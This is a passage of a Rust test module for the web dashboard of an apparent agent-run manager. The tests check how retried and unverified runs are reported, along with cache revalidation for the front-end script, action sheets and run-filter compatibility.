14686        let mut t = Task::new(
14687            "retried twice".to_owned(),
14688            "do it".to_owned(),
14689            PathBuf::from("/repo"),
14690            Source::Human,
14691        );
14692        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14693        q.put(&mut t).expect("put");
14694
14695        let view = fx.get(&format!("/api/runs/{a}")).await.json();
14696        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14697        assert_eq!(
14698            view["latest_attempt"]["id"], c,
14699            "the chain's current head, not the intermediate Blocked retry"
14700        );
14701        assert_eq!(view["latest_attempt"]["resolved"], true);
14702
14703        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14704        assert_eq!(mid["latest_attempt"]["id"], c);
14705        assert_eq!(mid["latest_attempt"]["resolved"], true);
14706    }
14707
14708    #[tokio::test]
14709    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14710        let fx = Fixture::start().await;
14711        let q = fx.queue();
14712        let runs = fx.runs();
14713
14714        // Still Blocked: the task is not resolved, so the older run must not
14715        // read as settled either.
14716        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14717        write_run(&runs, still_blocked_a, RunStatus::Blocked);
14718        write_run(&runs, still_blocked_b, RunStatus::Blocked);
14719        let mut t1 = Task::new(
14720            "still stuck".to_owned(),
14721            "do it".to_owned(),
14722            PathBuf::from("/repo"),
14723            Source::Human,
14724        );
14725        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14726        q.put(&mut t1).expect("put");
14727        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14728        assert_eq!(view1["latest_attempt"]["resolved"], false);
14729        assert_eq!(view1["latest_attempt"]["status"], "blocked");
14730        assert_eq!(view1["latest_attempt"]["done"], true);
14731
14732        // Still running: the successor exists and must be reported as such.
14733        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14734        write_run(&runs, run_a, RunStatus::Blocked);
14735        write_run(&runs, run_b, RunStatus::Implementing);
14736        let mut t3 = Task::new(
14737            "retrying".to_owned(),
14738            "do it".to_owned(),
14739            PathBuf::from("/repo"),
14740            Source::Human,
14741        );
14742        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14743        q.put(&mut t3).expect("put");
14744        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14745        assert_eq!(view3["latest_attempt"]["id"], run_b);
14746        assert_eq!(view3["latest_attempt"]["resolved"], false);
14747        assert_eq!(view3["latest_attempt"]["done"], false);
14748
14749        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
14750        // to check - not a confirmed finish, so this must not read as
14751        // resolved either, even though the run is done in the sense that
14752        // nothing is still running.
14753        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14754        write_run(&runs, noop_a, RunStatus::Blocked);
14755        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14756        let mut t2 = Task::new(
14757            "claims done".to_owned(),
14758            "do it".to_owned(),
14759            PathBuf::from("/repo"),
14760            Source::Human,
14761        );
14762        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14763        q.put(&mut t2).expect("put");
14764        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14765        assert_eq!(
14766            view2["latest_attempt"]["resolved"], false,
14767            "an unverified no-op claim must not read as a confirmed finish"
14768        );
14769
14770        // Front end: an unresolved successor must not carry the "finished
14771        // this work" note or the muted chip treatment.
14772        assert!(APP_JS.contains("latest.resolved"));
14773        // ...but the link to it shows as soon as it exists, labelled by state
14774        // and without the "finished" wording or the muted chip.
14775        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14776        assert!(APP_JS.contains("Latest attempt: "));
14777        assert!(APP_JS.contains("in flight"));
14778        assert!(APP_JS.contains("not resolved"));
14779    }
14780
14781    #[tokio::test]
14782    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14783        let fx = Fixture::start().await;
14784        // No cache header at all meant browsers invented their own policy,
14785        // and one did: a phone went on showing "Candidates must be folded
14786        // before deleting. Run `magi fold` first." - deleted two releases
14787        // earlier - from a deck that no longer contained the sentence. The
14788        // button it named was right there, and unreachable.
14789        let js = fx.get("/app.js").await;
14790        assert_eq!(js.status, 200);
14791        let tag = js
14792            .header("etag")
14793            .expect("an etag to revalidate against")
14794            .to_owned();
14795        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14796        assert_eq!(
14797            js.header("cache-control"),
14798            Some("no-cache, must-revalidate"),
14799            "the phone has to ask every time"
14800        );
14801
14802        // And the asking has to be cheap, or `must-revalidate` just means
14803        // "send the whole interface on every load".
14804        let again = fx
14805            .get_with("/app.js", &[("if-none-match", tag.as_str())])
14806            .await;
14807        assert_eq!(
14808            again.status, 304,
14809            "a deck it already has costs one round trip"
14810        );
14811        assert!(again.body.is_empty(), "304 carries no body");
14812
14813        // A weakened tag from a proxy still matches; a different build does
14814        // not, which is the case that has to deliver the new interface.
14815        let weak = fx
14816            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14817            .await;
14818        assert_eq!(weak.status, 304);
14819        let stale = fx
14820            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14821            .await;
14822        assert_eq!(stale.status, 200, "an older build must be replaced");
14823        assert!(stale.body.contains("renderRunActions"));
14824    }
14825
14826    #[test]
14827    fn the_task_detail_has_an_actions_fab_and_sheet() {
14828        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14829        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14830        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14831        // Shown only on the task route, closed everywhere else.
14832        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14833        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14834        // Refreshed whenever the detail redraws, including the loading state.
14835        assert!(APP_JS.contains("renderTaskActions(task);"));
14836        assert!(APP_JS.contains("renderTaskActions(null);"));
14837        // Same renderers and routes as the Queue card, no new endpoint.
14838        let sheet = APP_JS
14839            .find("function renderTaskActions")
14840            .expect("sheet renderer");
14841        let body = &APP_JS[sheet..sheet + 3000];
14842        assert!(body.contains("changePriority("));
14843        assert!(body.contains("openTaskEdit(task)"));
14844        assert!(body.contains("renderTaskHoldBox(host"));
14845        assert!(body.contains("renderTaskDoneBox(host"));
14846        assert!(body.contains("renderTaskDeleteBox(host"));
14847        assert!(APP_JS.contains("API.priority(id)"));
14848        assert!(APP_JS.contains("API.deleteTask(id)"));
14849        // A deleted task sends the operator back to the queue.
14850        assert!(APP_JS.contains("location.hash = \"#/queue\""));
14851        // A refusal is shown inside the sheet.
14852        assert!(APP_JS.contains("$(\"task-actions-error\")"));
14853    }
14854
14855    #[test]
14856    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14857        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14858        let actions = INDEX_HTML
14859            .find("id=\"run-actions-box\"")
14860            .expect("actions box");
14861        assert!(task < actions, "the task entry comes first in the sheet");
14862        assert!(APP_JS.contains("renderRunTaskEntry"));
14863        assert!(APP_JS.contains("\"Open task \""));
14864        // A run without a task says why there is nothing to open.
14865        assert!(APP_JS.contains("started directly, no task"));
14866        assert!(APP_JS.contains("sheet-task-link"));
14867        assert!(APP_JS.contains("task-chip-link"));
14868    }
14869
14870    #[test]
14871    fn the_deck_never_sends_the_operator_to_a_terminal() {
14872        // The whole point of the phone UI is that a terminal is not needed.
14873        // The delete control used to answer with "Run `magi fold` first."
14874        assert!(
14875            !APP_JS.contains("Run `magi fold` first"),
14876            "the deck must offer the fold, not prescribe a shell command"
14877        );
14878        assert!(APP_JS.contains("foldRun:"));
14879        assert!(APP_JS.contains("resumeRun:"));
14880        assert!(APP_JS.contains("renderRunActions"));
14881
14882        // Folding is destructive and armed in two steps, like deleting.
14883        assert!(APP_JS.contains("armedFold"));
14884        assert!(APP_JS.contains("Yes, fold worktrees"));
14885
14886        // And the copy has to say that the two actions are opposites, because
14887        // folding throws away exactly what a resume would continue from.
14888        assert!(APP_JS.contains("can no longer be resumed"));
14889    }
14890
14891    #[test]
14892    fn a_finished_run_explains_itself_with_its_own_last_line() {
14893        // The deck used to answer "why did this stop?" with a sentence chosen
14894        // by status alone. Run e633 stalled because two judges answered with
14895        // the wrong JSON shape and its card said "The panel collapsed on
14896        // agent quota" - with `quota: []` in the record and a quota-loss
14897        // counter right above it that correctly said nothing.
14898        assert!(
14899            !APP_JS.contains("collapsed on agent quota"),
14900            "a stall must not be explained by a cause the deck did not check"
14901        );
14902        assert!(
14903            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14904            "and a block must not offer a guess with an `or` in it"
14905        );
14906
14907        // The reason it does have is `run.event`, which must reach finished
14908        // runs: gating it on movement hid the recorded truth at the one moment
14909        // the operator is reading the card to find out what happened.
14910        assert!(
14911            APP_JS.contains("setText(r.event, run.event || \"\")"),
14912            "the run's last line is rendered unconditionally"
14913        );
14914        assert!(
14915            !APP_JS.contains("moving && run.event"),
14916            "and never gated on the run still moving"
14917        );
14918
14919        // Quota keeps its own counter, fed by the number actually recorded.
14920        assert!(APP_JS.contains("lost to quota"));
14921    }
14922
14923    /// The runs tree (section) and the state chips (waiting/done) are two
14924    /// independent lenses ANDed together in `renderRuns`, and some pairings
14925    /// can never both be true for any run - every "Landed"/"Ended" run is
14926    /// done by construction, so pairing either with "Active" or "In flight"
14927    /// always rendered zero cards with the filter bar still claiming
14928    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
14929    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
14930    /// a handful of (waiting, status) shapes standing in for the run
14931    /// lifecycle, because `cargo test` cannot execute the front end.
14932    ///
14933    /// That stand-in list is itself the part that drifted twice in review:
14934    /// once shipped with `waiting: true` paired with a done status the
14935    /// lifecycle cannot produce, then over-corrected into treating every
14936    /// waiting run as never done - which made "Waiting on you" look
14937    /// incompatible with "Done" even for the one real, reachable shape
14938    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
14939    /// that combination. This test parses the shapes and the done-rule back
14940    /// out of `APP_JS`, reimplements `runSection` and the five state
14941    /// predicates independently in Rust, and checks the resulting
14942    /// section/filter compatibility table against the lifecycle rules by
14943    /// hand - so either direction of drift fails it again.
14944    #[test]
14945    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14946        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14947        let shapes_body_start =
14948            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14949        let shapes_close = APP_JS[shapes_body_start..]
14950            .find("].map(")
14951            .expect("the shape list is closed by its done-computing .map(...)")
14952            + shapes_body_start;
14953        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14954
14955        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14956        for entry in shapes_src.split('{').skip(1) {
14957            let waiting = entry.contains("waiting: true");
14958            let dead = entry.contains("live: \"dead\"");
14959            let status_at =
14960                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14961            let status_end = entry[status_at..]
14962                .find('"')
14963                .expect("the status string is closed")
14964                + status_at;
14965            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14966        }
14967        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14968
14969        // The done rule itself (`!["implementing"].includes(shape.status)`),
14970        // read out of the source rather than hardcoded, so a renamed
14971        // in-flight status can't silently make every parsed shape "done".
14972        let done_rule_marker = "done: !";
14973        let done_rule_at = APP_JS[shapes_close..]
14974            .find(done_rule_marker)
14975            .expect("the done rule follows the shape list")
14976            + shapes_close
14977            + done_rule_marker.len();
14978        let includes_at = APP_JS[done_rule_at..]
14979            .find(".includes(shape.status)")
14980            .expect("the done rule ends in .includes(shape.status)")
14981            + done_rule_at;
14982        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14983            .trim()
14984            .trim_start_matches('[')
14985            .trim_end_matches(']')
14986            .split(',')
14987            .map(|s| s.trim().trim_matches('"'))
14988            .filter(|s| !s.is_empty())
14989            .collect();
14990
14991        let shapes: Vec<(bool, String, bool, bool)> = shapes
14992            .into_iter()
14993            .map(|(waiting, status, dead)| {
14994                let done = !not_done.contains(&status.as_str());
14995                (waiting, status, dead, done)
14996            })
14997            .collect();
14998
14999        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
15000        // outright, then merged/ready land, stalled/blocked/failed/
15001        // verified_noop end, and everything else is still in flight.
15002        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15003            if waiting {
15004                return "waiting";
15005            }
15006            if dead
15007                && !matches!(
15008                    status,
15009                    "merged"
15010                        | "ready"
15011                        | "stalled"
15012                        | "blocked"
15013                        | "failed"
15014                        | "verified_noop"
15015                        | "superseded"
15016                        | "already_in_base"
15017                )
15018            {
15019                return "stale";
15020            }
15021            match status {
15022                "merged" | "ready" => "landed",
15023                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15024                | "already_in_base" => "ended",
15025                _ => "flight",
15026            }
15027        }
15028
15029        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
15030        // way.
15031        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15032            match filter_key {
15033                "active" => !done,
15034                "flight" => !done && !waiting && !dead,
15035                "stale" => !done && !waiting && dead,
15036                "waiting" => waiting,
15037                "done" => done,
15038                "all" => true,
15039                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15040            }
15041        }
15042
15043        let compatible = |section: &str, filter_key: &str| {
15044            shapes.iter().any(|(waiting, status, dead, done)| {
15045                run_section(*waiting, status, *dead) == section
15046                    && filter_matches(filter_key, *waiting, *dead, *done)
15047            })
15048        };
15049
15050        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
15051        // (active, flight, stale, waiting, done, all) - hand-derived from the
15052        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
15053        // currently contains.
15054        let expected = [
15055            ("waiting", [true, false, false, true, true, true]),
15056            ("stale", [true, false, true, false, false, true]),
15057            ("flight", [true, true, false, false, false, true]),
15058            ("landed", [false, false, false, false, true, true]),
15059            ("ended", [false, false, false, false, true, true]),
15060        ];
15061        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15062
15063        for (section, wants) in expected {
15064            for (filter_key, want) in filter_keys.iter().zip(wants) {
15065                assert_eq!(
15066                    compatible(section, filter_key),
15067                    want,
15068                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15069                );
15070            }
15071        }
15072
15073        // The compatibility check exists only to be acted on: both pickers
15074        // must actually consult it rather than just render its answer.
15075        assert!(
15076            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15077        );
15078        assert!(APP_JS.contains(
15079            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15080        ));
15081        assert!(APP_JS.contains(
15082            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15083        ));
15084    }
15085
15086    #[tokio::test]
15087    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15088        // An operator-named directory - git checkout or not - is never
15089        // second-guessed, even when it does not exist at all: only the
15090        // flag's own unmodified `.` default is ever eligible for discovery.
15091        let dir = tempfile::tempdir().expect("tempdir");
15092        let explicit = dir.path().join("not-a-checkout");
15093        std::fs::create_dir_all(&explicit).expect("create dir");
15094        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15095
15096        let missing = dir.path().join("does-not-exist-at-all");
15097        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15098    }
15099
15100    #[test]
15101    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15102        assert!(APP_JS.contains("function statsDonutArcs"));
15103        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15104        // A bucket click filters by the statuses src/stats.rs counts in it.
15105        assert!(APP_JS.contains("function statusInBucket"));
15106        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15107        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15108        let buckets = [
15109            "merged",
15110            "ready",
15111            "in_progress",
15112            "blocked",
15113            "failed",
15114            "verified_noop",
15115            "superseded",
15116            "stalled",
15117        ];
15118        for key in buckets {
15119            let var = format!("--verdict-{key}:");
15120            // Light, OS-dark and pinned-dark blocks each define it.
15121            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15122            assert!(
15123                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15124                "{key}"
15125            );
15126        }
15127    }
15128}